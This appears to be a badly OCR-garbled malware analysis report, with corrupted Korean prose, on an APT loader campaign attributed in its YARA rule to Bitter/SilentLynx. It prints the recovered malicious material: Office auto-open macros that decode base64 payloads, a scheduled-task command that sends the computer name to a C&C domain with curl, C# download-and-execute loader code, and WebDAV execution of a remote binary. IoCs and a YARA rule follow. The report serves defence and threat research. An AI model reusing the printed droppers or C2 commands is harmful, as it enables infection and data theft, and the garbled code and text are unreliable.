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Microsoft Excel =)
ERROR: File PARSE_FAILED. Contents corrupted.
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Sub Workbook_Open()

' DownloadFile_XMLHTTP

' OpenCalculator

DecodeMyBaseb4

PauseExample

dfdsfsdfsdfsfd

periperi

MsgBox "ERROR: File PARSE_FAILED. Contents corrupted.”
End Sub

<8 3> 2M 2E Al of|2f BAIX] =2 =9

Aol Al base642 Q1AL =l H|0|H S "C:WWProgramdatattWUSOSharedWvicplayer.dll” Th 2 ZHIH BT

SAXHE InstallUtilexe0ll /U =M (Uninstall) b 24| Aot =l b DLLE QIAt2 MEE O 2 M DLL LHE0)|
HO|= Uninstall() HIMES SESIEE RESIICE Uninstall() IMEZ SZE|H ot 20| M =ICH

using System.Text.RegularExpressions;
using System.Threading;
using System.Threading.Tasks;
namespace Coyote
{
[StructLayout(LayoutKind.Sequential)]
struct IMAGE_DOS_HEADER
{
public ushort e_magic; // Magic number
public ushort e_cblp;  // Bytes on last page of file
public ushort e_cp; // Pages in file
public ushort e_crl;  // Relocations
public ushort e_cparhdr; // Size of header in paragraphs
public ushort e_minalloc; // Minimum extra paragraphs needed
public ushort e_maxalloc; // Maximum extra paragraphs needed
public ushort e_ss; [/ Initial (relative) SS value
public ushort e_sp; // Initial SP 1uralue|
public ushort e_csum;  // Checksum
public ushort e_ip; S/ Initial IP value
public ushort e_cs; /4 Initial (relative) CS value
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0 CHS KIS AHS 92 XTI S MBIt

B X| 2} -2 %APPDATA%WMIcrosoftWWindwoswStart MenuProgramsWstartupWkefe bat 2 20| K&z
OneDrive YHIO|EXNT ESIY 26200 T CRCAHO] T 24 HY Sl =7t I0|2 25 2ot
HASE = BHY,

- C&C MH : https;//www] ]keeferbeautytrends[.Jcom/d672.php?rz=[Z3  E{ 0| §]SS

Sub periperiQ
Dim sT As String, roamPath As String
Dim XML As Object, Node As Object
Dim bytes() As Byte
Dim stm As Object

roamPath = Environ("APPDATA")

roamPath = roamPath & "WMicrosoftéWWindowswStart MenuWPrograms#Startupwkefe.bat”

sT =
"QGVjaG8gb2ZmDQpzXmNoXnReYV5zXmtecyAvY3JIYXRICIObIAIT25IRHIpdmVeVXBkYXRIczExMDA50Dg4NDQIICIMICIzYyBtaW51dGUgL2 TvIDI2ICI0ciAIY29uaGIzd CALWhHI
YWRSZXNzIGNtZCAvdjpvbiAvYyBzZXQgNzY1PWhOJiBzZXQgMjY1PXRwezomIHNIACATNJUSITc2NSERN]Y11SYgc2V0IDQ2NTOhNTY11S8vd 3d3LmtlZWZlcrJl YXV0eXRyZWSkeyYgY
3VybCAhNDY11S5jb20vZDZaMiSwXmhecDyejolY29tcHVOZXIuYW1IVNTIGNebVSkig=="

Set XML = CreateObject("MSXML2.DOMDocument”)

Set Node = XMLcreateElement("b64")

Node.DataType = "bin.base64”

Node.Text = sT

bytes = Node.nodeTypedValue

Set stm = CreateObject("ADODB Stream™)

stm.Type = 1" Binary

stm.Open

stm.Write bytes

stm.Position = 0

stm.Type = 2 ' Text

stm.Charset = "utf-8" * adjust if Base64 encodes ANSI or UTF-16 text

stm.SaveToFile roamPath, 2 * overwrite

stm.Close
End Sub
<O 5> XIS A 93t HIXITHY A4
@echo off

shch”tharshk”s fcreate /tn "OneDrivetUpdates1100988844" /f /sc minute /mo 26 /tr "conhost --headless cmd /vion /c set 765=ht& set
665=tps:& set 565=1765116651& set 465=1565!//www.keeferbeautytrends8 curl 1465!.com/d6Z2.p A h*p?rz=%computername%SS|cAmAd”
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<8 7>HME InstallUtilexedl /U &M (Uninstall) b &7 A2HA[Z Uninstall 27+ H2E|™ MainWindow( )
A

gE HHAIZICE MainWindow( )OI LR M2z 520} o gles o WM FHE2|E 2 Al AFEALS
g=E gxlettt

if (midi
(

Thread.
mynm

tring location, ng where)

null)

Thk72Q 06Pcw==") + column + gifdkgitikg(" from ") + location;/. "+ " from "

Thk720Y 06 ") + column + gifdkgitike(" from ") + location + gjfdkgitikg( KXFBIKYNOGTOBVShPFtGoA-=") + column + + uhere + select + from + where
ManagementObjectSearcl = default(ManagementObjectSearcher);

0bj0S = new Ma e

foreach (ManagementBaseQb:

return objMgmt[column]

<2l 8> WMl FHz| Al
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string fname
try
{
if (File.Exists(fname))

(StreamReader sr = File.OpenText(fname))

string s G
while ((s = .Re i = null)

I
L

midi =

new Random();

(rd.Next (12589, 53658 1e@).ToString()
MriteAllText(fname, midi);
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") + boundary;// "multipart/form-data; boundary=" + boundary;

<2 10> AFEAL ZE £

rz
ot

({WebResponse response = request.GetResponse(})

{StreamReader reader = new StreamReader({response.GetResponseStream()))
string responseText = reader.ReadToEnd();
var ygehj = RemoveSpecialCharacters(responseText});
request.Abort();

if (!IsNullOrWhiteSpace(ygel
I
L

Thread myMewThread = new Thread(() =» taskprogressAsync(ygeh]j
myNewThread.Start();

Random() ;
Thread.Sleep(r
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String[] s i LSplit('#°
fname = i ;

switch (strlist[2])

spath = Environment.GetFolderPath(Environment.SpecialFolder.
break;

spath = Environment.GetFolderPath(Environment.SpecialFolder.
break;

Environment.GetFolderPath(Environment.SpecialFolder.

spath = Environment. ath(Environment.SpecialFolder.
break;

spath = Environment.GetFolderPath(Environment.SpecialFolder.
break;

ApplicationData) +

Templates) +

CommonDocuments) +

ApplicationData) +
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F7HQ HIO|HE EXE Y2 7ot §| A5k, ChE Mz HESHTt

- C&CA{H : https;//msoffice[]365cloudz[ Jesanojinjasvc]. Jcomy/cloudzx/msweb/drxcvg45.php

string adsd - gjfdkgitikg( HMQ9ZIFAWAVGYiv/k1y9oLsIrXQ8CH012cFEAq2ZZ TANMHchD]fpSI6SWBNKekHRAEPZABSKEBVWI 1ama7qhPZ71 czsSnXVWiCBac 1KB1VA7 SLZHI C1to413bTel /£ TS3GKhSt T89S 1EENDRVBOIXP 5 F+agZEK3IZkniM2eng|
string requestedFile = fname; /I File you want from server

using (HttpClient client - new HttpClient())
{
try

/4 Send filename as form-data (multipart)
var form = new MultipartFormDataContent

{ new StringContent(requestedFile), "drxfi" }
HttpResponseMessage response = await client.PostAsync(adsd, form);
response. EnsureSuccessStatusCode();

// Try to get filename from Content-Disposition header

if (response.Content.Headers.ContentDisposition != null)
{

/4 p_globle = response.Content.Headers. ContentDisposition.FileName?.Trim(*"") 22 p_globle;

string fileName - null;
if (response.Content.Headers.ContentDisposition != null)
{
fileName - response.Content.Headers.ContentDisposition.FileName;
if (fileName != null)
{
fileName = fileName.Trim( "");
b
p_globle - fileName 22 p_globle;

// p_globle = (response.Content.Headers.ContentDisposition.FileName.Trim(*"') != null) 2 p_globle : null;

<O 13> F7HXQl HIO|H & 20k F EXE It
p_globle = spath + fname; // fallback

p_globle = GetUniqueFilePath(p_globle);

// Save the response stream to disk

using (Stream stream = await response.Content.ReadAsStreamAsync())

using (FileStream fs = new FileStream(p_globle, FileMode.Create, FileAccess.Write, FileShare.None))

d
await stream.CopyToAsync(fs);

}

catch(Exception ex)

string code;
byte[] app = new byte[2] { @77, ©9@ };

byte[] fileBytes = System.IO.File.ReadAllBytes(p_globle);

byte[] rv = new byte[app.Length + fileBytes.Length];
System.Buffer.BlockCopy(app, @, rv, 8, app.Length);
System.Buffer.BlockCopy(fileBytes, ©, rv, app.Length, fileBytes.Length});

string p_globlel = spath + System.IO0.Path.ChangeExtension(fname, gjfdkgitjkg("LmkbpDgeaIbETXENCWM1KQ=="));
File.WriteAllBytes(p_globlel, rv};

File.Delete(p_globle);

p_globle = System.IO.Path.ChangeExtension(p_globle, gjfdkgitjkg("LmkbpDgeaIbETXENCWMIKQ=="));
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Documentdocx IF ¥ 2 Sbyte2| O[ 7ot Y= 94 Normaldotm LIt Yol HA S FESHe=
AHE-EICH %APPDATA%WRomaingWMicrosoftwTemplates ZZ20f £0{7t 24 Normaldotm It 7|& HE

U2 Y8 word”t Al&fet IHOFCE H2IC

<8 21>2 NormaldotmOf| &= ojA22, Al Al SREL0| M2 winnscexe YHIAEE 54 BE

O, A | = winnscexe THY 2 2F HHOJM =44 ot C# of g B =2 S LBICH.

n>
02

- SHEL  Wwkoliwooclients.comWtemplateswinnsc.exe

Private Sub Document_Open()
Jdfgugjkdf
Bokghfghtq

End Sub

Sub Bokghfghtg(
Dim MetBwqga As String
Dim Mointer As String
Dim Olia As String
Qliaz = "XFxrb2xpd29vY2xpZW50cy5jb2 1cdGVtcGxhdGVzXHdpbm5zYySleGU="
MNointer = Joinre(Oliaz)
Call Shell{Mointer, vbHide)
' MsgBox "Error Ox00FFFF: Possibly Incomplete File.”, vbinformation

End Sub

itkoliwooclients.com¥ftemplatesttwinnsec.exe

Sub Jdfgugjkdf(
Dim MetBwqga As String
Dim Mointer As String
Dim Olia As String
Oliaz = "QzpcV2IuZG93cTxzeXNOZW0zMIxuZXQuZXhlIHVZZSBcXGtvbGl3b29jbGlIbnRzLmNvbVx0ZW 1wbGFOZXM ="
Nointer = Joinre(Oliaz)
Call Shell{Mointer, vbHide)
' MsgBox "Error Ox00FFFF: Possibly Incomplete File.”, vbinformation
End Sub
Function Joinre(ByVal base645tring As String) As String
Dim eeereef As Object
Dim bbfeesss() As Byte
Set eeereef = CreateObject("MSXML2.DOMDocument.6.0”)
eeereefLoadXML "<root></root>"
eeereef. DocumentElement.dataType = "bin.base64”
eeereef.DocumentElementText = base64String
bbfeesss = eeereef.DocumentElement.nodeTypedValue
Joinre = StrConvi{bbfeesss, vbUnicode)
Set eeereef = Nothing
End Function

C:¥Windowstsystem32itnet.exe use Witkoliwooclients.comiftemplates
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4) l1oC

MD5
b165b489c5f8c4e136364664502d68f1
18164f7b3d320a79b6db634f718a1095
f6f2fdc38cd61d8d9e8cd35244585967
4bedd8e2b66cc7d64b293493ef508942
f16f2e4317¢37085cad630d41001f7¢c3

C&C
keeferbeautytrends.com
koliwooclients.com

esanojinjasvc.com

URLs
https://msoffice[.]365cloudz[.Jesangjinjasvc].Jcom/cloudzx/msweb/drxbds23.php
https://msoffice[.]365cloudz[.Jesangjinjasvc].Jcom/cloudzx/msweb/drdxcsv34.php
https://msoffice[.]365cloudz[.Jesangjinjasvc].Jcom/cloudzx/msweb/drxcvg45.php
https://teamlogin[.Jesanajinjasvcl.Jcom/teamesano/drivers/teamzid.php
https://teamlogin[.Jesanajinjasvcl.Jcom/teamesano/drivers/teamidcrz/

https://teamlogin[.]Jesanajinjasvcl.]Jcom/teamesano/drivers/teamsid.php
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5) YARA Rule

rule Bitter_SilentLynx_Loader
{
strings:
/* C2 infrastructure (encrypted / decrypted usage) */
$s_c2_domainl = "msoffice.365cloudz" ascii
$s_c2_path1 = "/cloudzx/msweb/" ascii
$s_installutill = "InstallUtil.exe /U" ascii
$s_installer! = "Runlinstaller(true)" ascii
$s_uninstall = "Uninstall(System.Collections.IDictionary" ascii
$s_cryptol = "Rfc2898DeriveBytes" ascii
$s_crypto2 = "Aes.Create()" ascii
$s_crypto3 = "CryptoStreamMode.Write" ascii
$s_wmil = "CIM_OperatingSystem" ascii
$s_wmi2 = "OSArchitecture" ascii
$s_wmi3 = "Caption" ascii
$s_httpT = "multipart/form-data; boundary=" ascii
$s_http2 = "HttpWebRequest" ascii
$s_http3 = "HttpClient" ascii
$s_pel = "IsValidExe(" ascii
$s_pe2 = "IMAGE_DOS_HEADER" ascii
$s_pe3 = "Process.Start" ascii
$s_idfile = "yereirtwlt.uyrt" ascii

condition:

filesize < 500KB and

(
2 of ($s_crypto*) and
1 of ($s_installutil*) and
1 of ($s_http*) and
1 of ($s_wmi*)

) and

$s_c2_domaini or
$s_idfile
)
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